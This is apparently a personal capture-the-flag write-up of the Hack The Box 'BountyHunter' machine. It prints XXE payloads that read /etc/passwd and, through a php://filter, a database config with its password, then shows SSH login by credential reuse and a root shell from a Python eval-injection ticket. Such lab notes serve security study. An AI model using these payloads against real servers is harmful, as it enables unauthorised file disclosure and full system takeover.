

HTB-BountyHunter-05Feb24

IP

10.129.95.166

Credentials & Users

John (at the bottom of the website)

```
dbname = "bounty";dbusername = "admin";
```

```
dbpassword = "m19RoAU0hP41A1sTsQ6K ";testuser = "test";
```

Services

ssh 8.2p1

Apache 2.4.41

Technologies

php

XML


NMAP

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)

80/tcp open http Apache httpd 2.4.41 ((Ubuntu))

Webserver



Bounty Report System - Beta

Exploit Title
CWE
CVSS Score
Bounty Reward (\$)
Submit

Dirbproof, but is it FFUF proof

Burp Project Intruder Repeater View Help
 Dashboard Target **Proxy** Intruder Repeater Collaborator
 Intercept HTTP history WebSockets history Proxy settings

Request to http://10.129.95.166:80
 Forward Drop **Intercept is on** Action

Pretty **Raw** Hex

```


1 POST /tracker_dirBPr00f314.php HTTP/1.1
2 Host: 10.129.95.166
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko
4 Accept: */*
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8 X-Requested-With: XMLHttpRequest
9 Content-Length: 235
10 Origin: http://10.129.95.166
  
```

I didn't bring anything back via standard fuzzing other than the db.php file, portal.php which we have seen and index.php which we have also seen.

```

.htaccess [Status: 404]
. [Status: 200]
db.php HTTP/1.1 [Status: 200]
.html [Status: 404]
portal.php [Status: 200]
index.php [Status: 200]
.php [Status: 404]
.htpasswd [Status: 404]
.htm [Status: 404]
  
```

The requests do get sent via XML. Helpfully Burp Suite also flagged up some decent XML issues for us to inspect.

 XML external entity injection

Due to the XML expansion burp helpfully gives us the /etc/passwd file that we can work into and try and get a foothold.

```

data=<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo
[<!ENTITY xxe9prwg SYSTEM "file:///etc/passwd"> ]>
  <bugreport>
  <title>ktlAPd&xxe9prwg;</title>
  <cwe>ktlAPd</cwe>
  <cvss>ktlAPd</cvss>
  <reward>ktlAPd</reward>
  </bugreport>
  
```

Response		Pretty	Raw	Hex	Render
1	HTTP/1.1 200 OK				
2	Date: Tue, 06 Feb 2024 20:49:38 GMT				
3	Server: Apache/2.4.41 (Ubuntu)				
4	Vary: Accept-Encoding				
5	Content-Length: 2114				
6	Connection: close				
7	Content-Type: text/html; charset=UTF-8				
8					
9	If DB were ready, would have added:				
10	<table>				
11	<tr>				
12	<td>				
	Title:				
	</td>				
13	<td>				
	ktlapdroot:x:0:0:root:/root:/bin/bash				
14	daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin				
15	bin:x:2:2:bin:/bin:/usr/sbin/nologin				
16	sys:x:3:3:sys:/dev:/usr/sbin/nologin				
17	sync:x:4:65534:sync:/bin:/bin/sync				
18	games:x:5:60:games:/usr/games:/usr/sbin/nologin				
19	man:x:6:12:man:/var/cache/man:/usr/sbin/nologin				
20	lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin				
21	mail:x:8:8:mail:/var/mail:/usr/sbin/nologin				
22	news:x:9:9:news:/var/spool/news:/usr/sbin/nologin				
23	uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin				
24	proxy:x:13:13:proxy:/bin:/usr/sbin/nologin				
25	www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin				
26	backup:x:34:34:backup:/var/backups:/usr/sbin/nologin				
27	list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin				
28	irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin				
29	gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin				
30	nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin				
31	systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin				
32	systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin				
33	systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin				
34	messagebus:x:103:106:/:/nonexistent:/usr/sbin/nologin				
35	syslog:x:104:110:/:/home/syslog:/usr/sbin/nologin				

Using payload all the things XML guides I've modified the request in burp suite to pull in the db.php file that I found whilst fuzzing the website.

Decoded from: Base64 ▾

```
<?php \n
// TODO -> Implement login system with the database. \n
$dbserver = "localhost"; \n
$dbname = "bounty"; \n
$dbusername = "admin"; \n
$dbpassword = "m19RoAU0hP41A1sTsQ6K"; \n
$testuser = "test"; \n
?> \n
```

The whole request looked like the below image and it was modified from the original burp request where it picked up the /etc/passwd file on the target server.

Decoded from: Base64 ▾

```
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE replace [<!ENTITY xxe SYST
M "php://filter/convert.base64-encode/resource=db.php"> ]> \n
\t \t <bugreport> \n
\t \t <title>&xxe;</title> \n
\t \t <cwe>ktlAPd</cwe> \n
\t \t <cvss>ktlAPd</cvss> \n
\t \t <reward>ktlAPd</reward> \n
\t \t </bugreport>
```

Reviewing the ports we have available we can try the "db" credentials against some of the users in the pwd file. Given that root and development are the only two decent candidates I

try and fire off against the development first which, helpfully, is a success.

```
(sw1m@core)-[~/HTB/CrestCRT/BountyHunter]
$ sudo ssh development@10.129.13.106 would have added:
[sudo] password for sw1m:
The authenticity of host '10.129.13.106 (10.129.13.106)' can't be established.
ED25519 key fingerprint is SHA256:p7RCN4B2AtB69d0vE1LTmg0lRRlnsR1fxArJ+KNoNFQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.13.106' (ED25519) to the list of known hosts.
development@10.129.13.106's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Wed 07 Feb 2024 08:48:42 PM UTC

System load:          0.0
Usage of /:            24.2% of 6.83GB
Memory usage:         14%
Swap usage:           0%
Processes:            217
Users logged in:       0
IPv4 address for eth0: 10.129.13.106
IPv6 address for eth0: dead:beef::250:56ff:fe96:e41d

0 updates can be applied immediately.

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Jul 21 12:04:13 2021 from 10.10.14.8
development@bountyhunter:~$
```

Some basics in play gathering up the user.txt file.

```
Last login: Wed Jul 21 12:04:13 2021 from 10.10.14.8
development@bountyhunter:~$ ls
contract.txt  user.txt
development@bountyhunter:~$ cat user.txt
2ff9f...467c32
development@bountyhunter:~$
```

sudo -l gives us something to work with, especially the python bin.

```
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
  env_reset, mail_badpass,
  secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
  (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
development@bountyhunter:~$
```

I have to say the code analysis bit had me a little stumped so I referred to lppsecs video guide to see what the output should have been. It was clear that the code was looking for

the ticket heads and then moving on to execute whatever malicious function we embedded.

```
# Skytrain Inc
## Ticket to
__Ticket Code: __
**11+ __import__ ("os").system("bash")
~
```

```
development@bountyhunter:~$ sudo /usr/bin/python3
Please enter the path to the ticket file.
/home/development/inject.md
Destination:
root@bountyhunter:/home/development#
```

After the malicious ticket runs it's a trivial matter to get the usual root.txt file.

```
development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
malicious.md
Destination:
root@bountyhunter:/home/development# whoami
root
root@bountyhunter:/home/development# pwd
/home/development
root@bountyhunter:/home/development# cd /root
root@bountyhunter:~# ls
root.txt  snap
root@bountyhunter:~# cat root.txt
bbdf
root@bountyhunter:~#
```